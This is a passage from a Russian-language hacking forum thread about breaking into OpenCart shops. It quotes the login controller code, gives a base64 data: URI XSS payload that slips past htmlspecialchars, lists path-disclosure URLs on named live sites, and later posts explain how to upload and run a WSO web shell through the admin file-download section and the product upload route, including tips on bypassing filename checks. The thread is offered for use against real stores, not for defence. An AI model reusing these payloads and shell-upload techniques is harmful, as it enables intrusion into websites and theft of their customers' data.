[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]redirect[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]HTTPS_SERVER[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'index.php?route=account/account'[/COLOR][COLOR="#007700"]);
}
}
}
[/COLOR][COLOR="#FF8000"]/*...*/
[/COLOR][COLOR="#007700"]private function[/COLOR][COLOR="#0000BB"]validate[/COLOR][COLOR="#007700"]() {
if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]customer[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]login[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'email'[/COLOR][COLOR="#007700"]],[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]request[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]post[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'password'[/COLOR][COLOR="#007700"]])) {
[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#DD0000"]'message'[/COLOR][COLOR="#007700"]] =[/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]language[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]get[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'error_login'[/COLOR][COLOR="#007700"]);
}
if (![/COLOR][COLOR="#0000BB"]$this[/COLOR][COLOR="#007700"]->[/COLOR][COLOR="#0000BB"]error[/COLOR][COLOR="#007700"]) {
return[/COLOR][COLOR="#0000BB"]TRUE[/COLOR][COLOR="#007700"];
} else {
return[/COLOR][COLOR="#0000BB"]FALSE[/COLOR][COLOR="#007700"];
}
}
[/COLOR][/COLOR]
Чтоб попасть на account/login.php надо установить переменную ?route=account/login
Еще надо иметь на целевом ресурсе созданный акаунт чтоб пройти авторизацию, после которой редирект, в который пихаетцо жаба!
Интересный момент что пытались защитить функцией которая упоминалась в посте выше - htmlspecialchars, но она не все сущности преобразовывает, тоесть можно обойти: data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGFja2VkIScpPC9zY3 JpcHQ+
Експлоит:
Код HTML:
HTML:
гуд
плохо
Как жизнь?
зы
?route=account/login - только гет!
Раскрытие путей
http://www.hellomydream.com/admin/controller/common/header.php
http://garmata.net/admin/controller/payment/alertpay.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/controller/localisation/length_class.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/model/localisation/geo_zone.php
http://localhost/opencart_1.4.8b_rus_0.1/admin/model/sale/customer_group.php
и другие.
|
|
|

22.12.2011, 21:15
|
|
Новичок
Регистрация: 17.04.2010
Сообщений: 0
Провел на форуме: 194
Репутация:
0
|
|
Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.
|
|
|

11.05.2013, 19:47
|
|
Guest
Сообщений: n/a
Провел на форуме: 321017
Репутация:
226
|
|
Сообщение от DarkMaster
DarkMaster said:
Кто-что посоветует относительно заливки шелла, уже непосредственно из админки? Версия 1.0.1 пишет.
В админке заходишь в графу - > Файлы для загрузки.
После чего перейменовываешь шел в shell.php.txt и заливаешь.
Получаешь ссылку на файл, заходишь по ней, ссылка вида: http://site.ru/download/shell.php.txt появляется окно ввода пароля. Вот и все.
|
|
|
|

31.07.2013, 00:02
|
|
Участник форума
Регистрация: 27.04.2009
Сообщений: 189
Провел на форуме: 1141766
Репутация:
69
|
|
need help!
Всем привет! Дело имею с opencart 1.5.3.1 и 1.5.2.1 . Проблема вот в чем: успешно работает заливка файла через route=product/product/upload, получаю шифрованный ответ в json, ключ я узнал и соответственно имя файла, которое получилось на сервере тоже. Попробовал залить shell на 1.5.3.1 - все ок, работает. Заливаю также на 1.5.2.1 - болт. Версия php на обоих серваках X-Powered-By PHP/5.2.17. Покажу пример имен файлов в обоих случаях:
Код:
Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
Код:
Code:
Неудачная заливка: test.php&#;.jpg.8604d5110d3e81f88cee94d06acab263
Как видно проблема в нуль-байте, скорее всего magic quotes. Прошу совета! Как это обойти и все-таки выполнить shell , очень нужно.
|
|
|

04.10.2013, 14:00
|
|
Новичок
Регистрация: 18.04.2010
Сообщений: 0
Провел на форуме: 120
Репутация:
0
|
|
Код:
Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
Привет, а не подскажешь как имя узнал?
|
|
|

18.12.2013, 11:20
|
|
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
Провел на форуме: 2459557
Репутация:
606
|
|
htaccess в корне, заворачивающий все на index.php рубит все попытки залить шелл из админки?
|
|
|

20.12.2013, 12:49
|
|
Участник форума
Регистрация: 31.03.2008
Сообщений: 143
Провел на форуме: 403124
Репутация:
95
|
|
Сообщение от aivi
aivi said:
Код:
Code:
Успешная заливка: wso2.php.jpg.6ffe4fcbb409d434ac81279319644c8c - он работает, тут все хорошо
Привет, а не подскажешь как имя узнал?
я так понял что приписка в конце файла это md5(rand())
брутить надо походу (
кто подскажет?
|
|
|

29.12.2013, 03:41
|
|
Новичок
Регистрация: 24.04.2008
Сообщений: 22
Провел на форуме: 1076908
Репутация:
16
|
|
Сообщение от ICQ Hool
ICQ Hool said:
я так понял что приписка в конце файла это md5(rand())
брутить надо походу (
кто подскажет?
каталог-загрузки. Загружаешь там и имя файла в открытом виде получаешь
|
|
|

30.04.2016, 13:18
|
|
Guest
Сообщений: n/a
Провел на форуме: 13700
Репутация:
0
|
|
Кто нибудь подскажет как расшифровать?не имея доступа в админку
|
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|